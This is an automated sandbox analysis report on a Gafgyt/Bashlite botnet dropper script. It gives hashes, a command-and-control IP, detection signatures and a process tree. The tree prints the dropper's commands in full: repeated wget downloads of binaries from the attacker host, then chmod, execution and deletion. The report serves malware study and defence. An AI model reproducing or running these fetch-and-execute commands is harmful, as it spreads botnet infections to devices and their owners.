Analysis

  • max time kernel
    3s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 22:19

General

  • Target

    SnOoPy.sh

  • Size

    2KB

  • MD5

    8ea1e7d08dd0cf52bbdddc3222e9b8af

  • SHA1

    f031a227d961d83fc0083c4b5b7b4ccdfe64e711

  • SHA256

    2884954c3ee63cc245def342b3946b24b0aa2cbaebf7d6b2c5a8fd009760a469

  • SHA512

    1be9d8a04c9b95e9e07c6fad4ae90a160219b05d0bf4b77578ac7dee91b5f336688ac792aab88cc78b5923963e1c9bacf8c0407fc22119041e9def0f217800da

Malware Config

Extracted

Family

gafgyt

C2

192.3.179.33:23

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/SnOoPy.sh
    /tmp/SnOoPy.sh
    1⤵
      PID:1478
      • /usr/bin/wget
        wget http://192.3.179.33/m-i.p-s.SNOOPY
        2⤵
          PID:1479
        • /bin/chmod
          chmod +x m-i.p-s.SNOOPY
          2⤵
          • File and Directory Permissions Modification
          PID:1483
        • /tmp/m-i.p-s.SNOOPY
          ./m-i.p-s.SNOOPY
          2⤵
            PID:1484
          • /bin/rm
            rm -rf m-i.p-s.SNOOPY
            2⤵
              PID:1485
            • /usr/bin/wget
              wget http://192.3.179.33/m-p.s-l.SNOOPY
              2⤵
                PID:1486
              • /bin/chmod
                chmod +x m-p.s-l.SNOOPY
                2⤵
                • File and Directory Permissions Modification
                PID:1487
              • /tmp/m-p.s-l.SNOOPY
                ./m-p.s-l.SNOOPY
                2⤵
                  PID:1488
                • /bin/rm
                  rm -rf m-p.s-l.SNOOPY
                  2⤵
                    PID:1489
                  • /usr/bin/wget
                    wget http://192.3.179.33/s-h.4-.SNOOPY
                    2⤵
                      PID:1490
                    • /bin/chmod
                      chmod +x s-h.4-.SNOOPY
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1491
                    • /tmp/s-h.4-.SNOOPY
                      ./s-h.4-.SNOOPY
                      2⤵
                        PID:1492
                      • /bin/rm
                        rm -rf s-h.4-.SNOOPY
                        2⤵
                          PID:1493
                        • /usr/bin/wget
                          wget http://192.3.179.33/x-8.6-.SNOOPY
                          2⤵
                            PID:1494
                          • /bin/chmod
                            chmod +x x-8.6-.SNOOPY
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1495
                          • /tmp/x-8.6-.SNOOPY
                            ./x-8.6-.SNOOPY
                            2⤵
                              PID:1496
                            • /bin/rm
                              rm -rf x-8.6-.SNOOPY
                              2⤵
                                PID:1497
                              • /usr/bin/wget
                                wget http://192.3.179.33/a-r.m-6.SNOOPY
                                2⤵
                                • Writes file to tmp directory
                                PID:1498
                              • /bin/chmod
                                chmod +x a-r.m-6.SNOOPY
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1504
                              • /tmp/a-r.m-6.SNOOPY
                                ./a-r.m-6.SNOOPY
                                2⤵
                                • Executes dropped EXE
                                PID:1505
                              • /bin/rm
                                rm -rf a-r.m-6.SNOOPY
                                2⤵
                                  PID:1507
                                • /usr/bin/wget
                                  wget http://192.3.179.33/x-3.2-.SNOOPY
                                  2⤵
                                    PID:1508
                                  • /bin/chmod
                                    chmod +x x-3.2-.SNOOPY
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1512
                                  • /tmp/x-3.2-.SNOOPY
                                    ./x-3.2-.SNOOPY
                                    2⤵
                                      PID:1513
                                    • /bin/rm
                                      rm -rf x-3.2-.SNOOPY
                                      2⤵
                                        PID:1514
                                      • /usr/bin/wget
                                        wget http://192.3.179.33/a-r.m-7.SNOOPY
                                        2⤵
                                          PID:1515
                                        • /bin/chmod
                                          chmod +x a-r.m-7.SNOOPY
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1516
                                        • /tmp/a-r.m-7.SNOOPY
                                          ./a-r.m-7.SNOOPY
                                          2⤵
                                            PID:1517
                                          • /bin/rm
                                            rm -rf a-r.m-7.SNOOPY
                                            2⤵
                                              PID:1518
                                            • /usr/bin/wget
                                              wget http://192.3.179.33/p-p.c-.SNOOPY
                                              2⤵
                                                PID:1519
                                              • /bin/chmod
                                                chmod +x p-p.c-.SNOOPY
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1520
                                              • /tmp/p-p.c-.SNOOPY
                                                ./p-p.c-.SNOOPY
                                                2⤵
                                                  PID:1521
                                                • /bin/rm
                                                  rm -rf p-p.c-.SNOOPY
                                                  2⤵
                                                    PID:1522
                                                  • /usr/bin/wget
                                                    wget http://192.3.179.33/i-5.8-6.SNOOPY
                                                    2⤵
                                                      PID:1523
                                                    • /bin/chmod
                                                      chmod +x i-5.8-6.SNOOPY
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1524
                                                    • /tmp/i-5.8-6.SNOOPY
                                                      ./i-5.8-6.SNOOPY
                                                      2⤵
                                                        PID:1525
                                                      • /bin/rm
                                                        rm -rf i-5.8-6.SNOOPY
                                                        2⤵
                                                          PID:1526
                                                        • /usr/bin/wget
                                                          wget http://192.3.179.33/m-6.8-k.SNOOPY
                                                          2⤵
                                                            PID:1527
                                                          • /bin/chmod
                                                            chmod +x m-6.8-k.SNOOPY
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1528
                                                          • /tmp/m-6.8-k.SNOOPY
                                                            ./m-6.8-k.SNOOPY
                                                            2⤵
                                                              PID:1529
                                                            • /bin/rm
                                                              rm -rf m-6.8-k.SNOOPY
                                                              2⤵
                                                                PID:1530
                                                              • /usr/bin/wget
                                                                wget http://192.3.179.33/p-p.c-.SNOOPY
                                                                2⤵
                                                                  PID:1531
                                                                • /bin/chmod
                                                                  chmod +x p-p.c-.SNOOPY
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:1532
                                                                • /tmp/p-p.c-.SNOOPY
                                                                  ./p-p.c-.SNOOPY
                                                                  2⤵
                                                                    PID:1533
                                                                  • /bin/rm
                                                                    rm -rf p-p.c-.SNOOPY
                                                                    2⤵
                                                                      PID:1534
                                                                    • /usr/bin/wget
                                                                      wget http://192.3.179.33/a-r.m-4.SNOOPY
                                                                      2⤵
                                                                        PID:1535
                                                                      • /bin/chmod
                                                                        chmod +x a-r.m-4.SNOOPY
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1536
                                                                      • /tmp/a-r.m-4.SNOOPY
                                                                        ./a-r.m-4.SNOOPY
                                                                        2⤵
                                                                          PID:1537
                                                                        • /bin/rm
                                                                          rm -rf a-r.m-4.SNOOPY
                                                                          2⤵
                                                                            PID:1538
                                                                          • /usr/bin/wget
                                                                            wget http://192.3.179.33/a-r.m-5.SNOOPY
                                                                            2⤵
                                                                              PID:1539
                                                                            • /bin/chmod
                                                                              chmod +x a-r.m-5.SNOOPY
                                                                              2⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:1540
                                                                            • /tmp/a-r.m-5.SNOOPY
                                                                              ./a-r.m-5.SNOOPY
                                                                              2⤵
                                                                                PID:1541
                                                                              • /bin/rm
                                                                                rm -rf a-r.m-5.SNOOPY
                                                                                2⤵
                                                                                  PID:1542

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • /tmp/a-r.m-6.SNOOPY

                                                                                Filesize

                                                                                108KB

                                                                                MD5

                                                                                d99e614a76b1b6b63030556a22cf2881

                                                                                SHA1

                                                                                1cc0cc981f07d648722bc0b112da2d697858558f

                                                                                SHA256

                                                                                6bcf634cf08615de9c4f5759bcc2523b114db64a67ed3c119c7aa4230be0b0b5

                                                                                SHA512

                                                                                19585dae9db8f913f809da6644127b064b03ec2156fe482b87feb803c8facb291da0b951336c7bc13cef6af1a032229f8f18511b09531a2ad3dce4f53bb8051f